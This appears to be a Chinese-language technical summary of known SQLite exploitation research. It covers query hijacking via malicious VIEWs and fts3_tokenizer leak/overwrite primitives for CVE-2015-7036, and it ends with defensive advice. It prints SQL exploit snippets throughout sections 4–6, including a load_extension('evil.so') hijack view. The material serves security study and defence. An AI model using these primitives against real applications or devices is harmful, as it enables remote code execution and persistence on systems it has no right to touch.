SELECT code_execution FROM * USING SQLite;
字数 1442 2025-08-26 22:12:02
SQLite 漏洞利用技术深度解析
1. 研究背景与动机
SQLite 是世界上最广泛部署的数据库引擎之一,内置于所有移动电话和大多数计算机中。这项研究源于对密码窃取恶意软件的分析,发现它们普遍使用SQLite存储凭据,并通过PHP解析后发送到C2服务器。这揭示了SQLite在安全领域的重大攻击面。
2. SQLite 攻击面分析
2.1 主要攻击面分类
- 数据库加载与初始解析:通过
sqlite3_open完成,主要涉及头解析 - SELECT查询执行:更复杂的攻击面,特别是通过VIEW劫持技术
2.2 sqlite_master 和 DDL
每个SQLite数据库都有一个sqlite_master表,定义数据库及其所有对象的模式:
CREATE TABLE sqlite_master (
type TEXT, -- "table", "view", "index", "trigger"
name TEXT, -- 对象名称
tbl_name TEXT, -- 表名
rootpage INT, -- 根页
sql TEXT -- 创建对象的DDL语句
);
关键点:sql字段包含描述对象的DDL(数据定义语言),以纯文本形式存储在数据库文件中。
3. 核心利用技术:查询劫持
3.1 DDL补丁技术
通过替换数据库文件中的DDL语句,可以影响SQLite的行为。特别是CREATE VIEW命令,它允许创建预打包的SELECT语句。
3.2 查询劫持示例
原始表定义:
CREATE TABLE dummy (id INT, data TEXT);
目标软件查询:
SELECT * FROM dummy;
劫持技术 - 将表替换为VIEW:
CREATE VIEW dummy AS SELECT * FROM evil;
这种技术使攻击者能够:
- 劫持任意查询
- 扩展攻击面到整个SQLite解释器
- 实现"面向查询编程"(QoP)
4. SQLite漏洞利用原语
4.1 内存泄漏技术
通过fts3_tokenizer()函数泄漏内存地址:
SELECT hex(fts3_tokenizer('simple')) AS leak;
处理小端序泄漏:
SELECT substr(leak,7,2)||substr(leak,5,2)||substr(leak,3,2)||substr(leak,1,2)
FROM (SELECT hex(fts3_tokenizer('simple')) AS leak);
4.2 指针操作技术
解包64位指针:
SELECT (
(instr('0123456789ABCDEF', substr(leak,7,1))-1)*1 +
(instr('0123456789ABCDEF', substr(leak,6,1))-1)*16 +
(instr('0123456789ABCDEF', substr(leak,5,1))-1)*256 +
(instr('0123456789ABCDEF', substr(leak,4,1))-1)*4096 +
(instr('0123456789ABCDEF', substr(leak,3,1))-1)*65536 +
(instr('0123456789ABCDEF', substr(leak,2,1))-1)*1048576 +
(instr('0123456789ABCDEF', substr(leak,1,1))-1)*16777216
) FROM (SELECT '41424344' AS leak);
指针打包技术:
SELECT char(0x41)||char(0x42)||char(0x43)||char(0x44);
4.3 伪造内存对象
伪造tokenizer对象:
SELECT char(0x41)||char(0x41)||char(0x41)||char(0x41)||
char(0x41)||char(0x41)||char(0x41)||char(0x41)||
char(0x49)||char(0x41)||char(0x41)||char(0x41)||
char(0x41)||char(0x41)||char(0x41)||char(0x41)||
char(0x41)||char(0x41)||char(0x41)||char(0x41)||
char(0x41)||char(0x41)||char(0x41)||char(0x41)||
char(0x41)||char(0x41)||char(0x41)||char(0x41)||
char(0x41)||char(0x41)||char(0x41)||char(0x41);
4.4 堆喷射技术
使用zeroblob进行堆喷射:
SELECT replace(zeroblob(1000), zeroblob(1), char(0x41));
5. 完整漏洞利用链(CVE-2015-7036)
5.1 漏洞概述
fts3_tokenizer()函数存在两个问题:
- 单参数调用时返回tokenizer地址(信息泄漏)
- 双参数调用时允许覆盖tokenizer地址(任意写)
5.2 利用步骤
-
泄漏tokenizer地址:
SELECT hex(fts3_tokenizer('simple')) AS leak; -
计算基地址:通过泄漏的地址计算库基址
-
伪造恶意tokenizer:构造ROP链或shellcode
-
覆盖tokenizer:
SELECT fts3_tokenizer('simple', x'4141414141414141'); -
触发执行:实例化FTS3表触发恶意代码
6. 实际攻击场景
6.1 密码窃取器C2攻击
- 识别目标软件查询的表结构
- 创建恶意VIEW劫持查询
- 通过QOP链实现RCE
示例劫持VIEW:
CREATE VIEW Notes AS SELECT * FROM (SELECT 1 AS BodyRich)
UNION SELECT * FROM (SELECT load_extension('evil.so'));
6.2 iOS持久化攻击
- 替换常用数据库(如Contacts DB)
- 创建恶意DDL语句覆盖tokenizer
- 设备重启后查询数据库触发执行
7. 防御建议
- 禁用不必要的SQLite功能
- 使用最新版本的SQLite
- 对用户提供的数据库文件进行严格验证
- 在沙箱环境中处理不受信任的数据库
- 启用SQLITE_DBCONFIG_DEFENSIVE标志
8. 未来研究方向
- 动态构建漏洞利用(QoP小工具)
- 实现更强的原语(任意读/写)
- 探索更多不受信任SQL输入的边界场景
- 挖掘更多SQLite虚拟表模块中的漏洞
9. 相关CVE
- CVE-2015-7036
- CVE-2019-8457 (RTREE OOB读取)
- CVE-2019-8600
- CVE-2019-8598
- CVE-2019-8602
- CVE-2019-8577
这项研究展示了SQLite中从简单的查询劫持到完整的远程代码执行的完整技术链,强调了即使在看似安全的数据库操作中也存在严重的安全风险。